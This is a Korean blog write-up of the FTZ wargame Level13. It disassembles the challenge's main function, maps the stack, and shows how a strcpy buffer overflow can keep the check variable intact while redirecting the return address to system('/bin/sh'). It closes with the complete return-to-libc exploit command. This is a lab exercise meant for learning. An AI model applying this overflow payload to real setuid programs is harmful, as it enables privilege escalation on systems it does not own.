Sqix

FTZ Level13 본문

Wargame/FTZ

FTZ Level13

Sqix_ow 2018. 6. 29. 20:33


strcpy를 이용해서 bof시켜 return에 도달할 수 있도록 해서 RTL을 적용해 exploit을 해야 할 것 같습니다.


kill 함수는 SIGNAL을 발생시켜 프로세스를 종료시키는 함수입니다. 이 부분을 우회해야 RET로 갈 수 있습니다.


따라서, i 변수의 위치에는 AAAA를 덮지 않고, 정확히 0x1234567을 집어넣어야 합니다. 결국 i의 위치를 계산해야 합니다.


main함수를 리버싱해 봅시다


0x080483c8 <main+0>: push   %ebp

0x080483c9 <main+1>: mov    %esp,%ebp

0x080483cb <main+3>: sub    $0x418,%esp

0x080483d1 <main+9>: and    $0xfffffff0,%esp

0x080483d4 <main+12>: mov    $0x0,%eax

0x080483d9 <main+17>: sub    %eax,%esp


1048만큼 스택 공간을 확보합니다.


0x080483db <main+19>: movl   $0x1234567,0xfffffff4(%ebp)

0x080483e2 <main+26>: sub    $0x8,%esp

0x080483e5 <main+29>: push   $0xc16

0x080483ea <main+34>: push   $0xc16

0x080483ef <main+39>: call   0x80482e8 <setreuid>

0x080483f4 <main+44>: add    $0x10,%esp


long type i 변수에 0x1234567의 값을 대입합니다. (long type은 이론상 8바이트를 사용하지만, 4바이트만큼의 크기를 가집니다.)

그리고 setreuid 함수를 동작시킵니다.


0x080483f7 <main+47>: cmpl   $0x1,0x8(%ebp)

0x080483fb <main+51>: jle    0x8048417 <main+79>

0x080483fd <main+53>: sub    $0x8,%esp
0x08048400 <main+56>: mov    0xc(%ebp),%eax
0x08048403 <main+59>: add    $0x4,%eax
0x08048406 <main+62>: pushl  (%eax)
0x08048408 <main+64>: lea    0xfffffbe8(%ebp),%eax
0x0804840e <main+70>: push   %eax
0x0804840f <main+71>: call   0x8048308 <strcpy>
0x08048414 <main+76>: add    $0x10,%esp

command line argument가 존재한다면 strcpy를 이용해서 buf에 이 값을 복사합니다.

0x08048417 <main+79>: cmpl   $0x1234567,0xfffffff4(%ebp)
0x0804841e <main+86>: je     0x804843f <main+119>

만약 i의 값이 0x1234567이라면 main+119, leave ret으로 이동합니다.

0x08048420 <main+88>: sub    $0xc,%esp
0x08048423 <main+91>: push   $0x8048520
0x08048428 <main+96>: call   0x80482d8 <printf>
0x0804842d <main+101>: add    $0x10,%esp

i가 0x1234567이 아니라면 해당 루틴을 진행합니다. printf를 호출합니다.

0x08048430 <main+104>: sub    $0x8,%esp
0x08048433 <main+107>: push   $0xb
0x08048435 <main+109>: push   $0x0
0x08048437 <main+111>: call   0x80482f8 <kill>
0x0804843c <main+116>: add    $0x10,%esp

그 후 kill을 통해 process를 죽여버립니다. 

우선 스택을 봐야 변수 위치를 알 수 있을 것 같습니다. 스택을 보도록 하겠습니다.



$esp + 0x412 부분에 0x01234567이 들어간 것을 볼 수 있습니다. x/x $ebp를 하면 ebp는 0xbfffe618이므로, 옆의 0x42015574는 RET입니다.


스택 구성은 다음과 같다고 보여집니다


[ BUFFER(1024) ] | [ DUMMY(12) ] | [ VAL i(4) ] | [ DUMMY(8) ] | [ SFP(4) ] | [ RET(4) ] 


따라서 BUFFER, DUMMY 부분은 A로, i에는 \x67\x45\x23\x01을, RET 전까지는 A로, RET, argv 부분에는 system, /bin/sh를 넣어야 할 것입니다.

공격 코드 구성


$ ./attackme `python -c 'print "A" * 1036 + "\x67\x45\x23\x01" + "A" * 12 + "\xc0\xf2\x03\x42" + "A" * 4 + "\xa4\x7e\x12\x42"'`






'Wargame > FTZ' 카테고리의 다른 글

FTZ Level15  (0) 2018.07.10
FTZ Level14  (0) 2018.07.10
FTZ Level12  (0) 2018.06.29
FTZ Level11  (0) 2018.06.18
FTZ Level10  (0) 2018.06.18
Comments